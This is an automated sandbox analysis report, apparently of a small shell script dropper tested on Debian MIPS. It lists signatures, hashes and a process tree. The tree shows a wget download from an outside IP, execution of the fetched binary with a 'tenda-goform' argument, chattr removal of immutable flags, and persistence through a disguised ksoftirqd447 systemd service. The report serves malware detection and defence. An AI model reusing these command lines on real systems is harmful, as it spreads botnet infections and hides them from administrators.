Overview

overview

7

Static

static

1

t.sh

ubuntu-18.04-amd64

7

t.sh

debian-9-armhf

7

t.sh

debian-9-mips

7

t.sh

debian-9-mipsel

7

Analysis

  • max time kernel
    146s
  • max time network
    144s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20260513-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    30/09/2026, 06:18

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    t.sh
  • Size 153B
  • Sample260930-g2knnatdmb
  • SHA256 378c84b547b9c0158ce497f589aae592d465eb06ba7ab572e5c98a001a0a43e6
  • MD5 SHA1 SHA512 TLSH
Score
7/10
defense_evasiondiscovery

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Deletes itself 2 IoCs
  • Executes dropped EXE 5 IoCs
  • Removes the immutable protection flag from a file 1 TTPs 14 IoCs

    Uses chattr to remove the immutable flag from a file, allowing previously write-protected files to be modified or deleted.

  • Changes its process name 2 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 8 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

    discovery
  • Reads runtime system information 32 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/t.sh
    /tmp/t.sh
    1⤵
    • Executes dropped EXE
    PID:713
    • /usr/bin/wget
      wget -O b http://85.137.54.178:8080/bins/5
      2⤵
      • Writes file to tmp directory
      PID:714
    • /bin/chmod
      chmod 777 b
      2⤵
      • File and Directory Permissions Modification
      PID:726
    • /tmp/b
      ./b tenda-goform
      2⤵
      • Deletes itself
      • Executes dropped EXE
      PID:728
      • /usr/bin/chattr
        chattr -i /etc/.ksoftirqd447
        3⤵
        • Removes the immutable protection flag from a file
        PID:730
      • /usr/bin/chattr
        chattr -i /var/cache/.ksoftirqd447
        3⤵
        • Removes the immutable protection flag from a file
        PID:743
      • /usr/bin/chattr
        chattr -i /var/lib/.ksoftirqd447
        3⤵
        • Removes the immutable protection flag from a file
        PID:756
      • /usr/bin/chattr
        chattr -i /usr/bin/.ksoftirqd447
        3⤵
        • Removes the immutable protection flag from a file
        PID:788
      • /bin/systemctl
        systemctl daemon-reload
        3⤵
        • Enumerates kernel/hardware configuration
        • Reads runtime system information
        PID:791
      • /bin/systemctl
        systemctl enable --now /etc/systemd/system/ksoftirqd447.service
        3⤵
        • Enumerates kernel/hardware configuration
        • Reads runtime system information
        PID:808
    • /etc/.ksoftirqd447
      /etc/.ksoftirqd447 tenda-goform
      2⤵
      • Executes dropped EXE
      • Changes its process name
      PID:728
      • /usr/bin/chattr
        chattr -i /var/cache/.ksoftirqd447
        3⤵
        • Removes the immutable protection flag from a file
        PID:833
      • /usr/bin/chattr
        chattr -i /var/lib/.ksoftirqd447
        3⤵
        • Removes the immutable protection flag from a file
        PID:850
      • /usr/bin/chattr
        chattr -i /usr/bin/.ksoftirqd447
        3⤵
        • Removes the immutable protection flag from a file
        PID:854
      • /bin/systemctl
        systemctl daemon-reload
        3⤵
        • Enumerates kernel/hardware configuration
        • Reads runtime system information
        PID:855
      • /bin/systemctl
        systemctl enable --now /etc/systemd/system/ksoftirqd447.service
        3⤵
        • Enumerates kernel/hardware configuration
        • Reads runtime system information
        PID:868
      • /var/cache/.upd_boat
        /var/cache/.upd_boat --self-check
        3⤵
          PID:884
      • /var/cache/.upd_boat
        /var/cache/.upd_boat tenda-goform
        2⤵
        • Deletes itself
        • Executes dropped EXE
        PID:728
        • /usr/bin/chattr
          chattr -i /etc/.ksoftirqd447
          3⤵
          • Removes the immutable protection flag from a file
          PID:885
        • /usr/bin/chattr
          chattr -i /var/cache/.ksoftirqd447
          3⤵
          • Removes the immutable protection flag from a file
          PID:886
        • /usr/bin/chattr
          chattr -i /var/lib/.ksoftirqd447
          3⤵
          • Removes the immutable protection flag from a file
          PID:887
        • /usr/bin/chattr
          chattr -i /usr/bin/.ksoftirqd447
          3⤵
          • Removes the immutable protection flag from a file
          PID:888
        • /bin/systemctl
          systemctl daemon-reload
          3⤵
          • Enumerates kernel/hardware configuration
          • Reads runtime system information
          PID:889
        • /bin/systemctl
          systemctl enable --now /etc/systemd/system/ksoftirqd447.service
          3⤵
          • Enumerates kernel/hardware configuration
          • Reads runtime system information
          PID:902
      • /etc/.ksoftirqd447
        /etc/.ksoftirqd447 tenda-goform
        2⤵
        • Changes its process name
        PID:728
        • /usr/bin/chattr
          chattr -i /var/cache/.ksoftirqd447
          3⤵
          • Removes the immutable protection flag from a file
          PID:915
        • /usr/bin/chattr
          chattr -i /var/lib/.ksoftirqd447
          3⤵
          • Removes the immutable protection flag from a file
          PID:916
        • /usr/bin/chattr
          chattr -i /usr/bin/.ksoftirqd447
          3⤵
          • Removes the immutable protection flag from a file
          PID:917
        • /bin/systemctl
          systemctl daemon-reload
          3⤵
          • Enumerates kernel/hardware configuration
          • Reads runtime system information
          PID:918
        • /bin/systemctl
          systemctl enable --now /etc/systemd/system/ksoftirqd447.service
          3⤵
          • Enumerates kernel/hardware configuration
          • Reads runtime system information
          PID:931

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          ksoftirqd447.service
          • Path /etc/systemd/system/ksoftirqd447.service
          • Size 246B
          • SHA256 fb925e15add72350fab1ffc51289852b84b111be4e20edb255b996bbd05e2099
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          b
          • Path /tmp/b
          • Size 793KB
          • SHA256 a6d3116d97cfde4f4c1dc3dce174cab2d2f77f0b4448df9645b94185e062925d
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download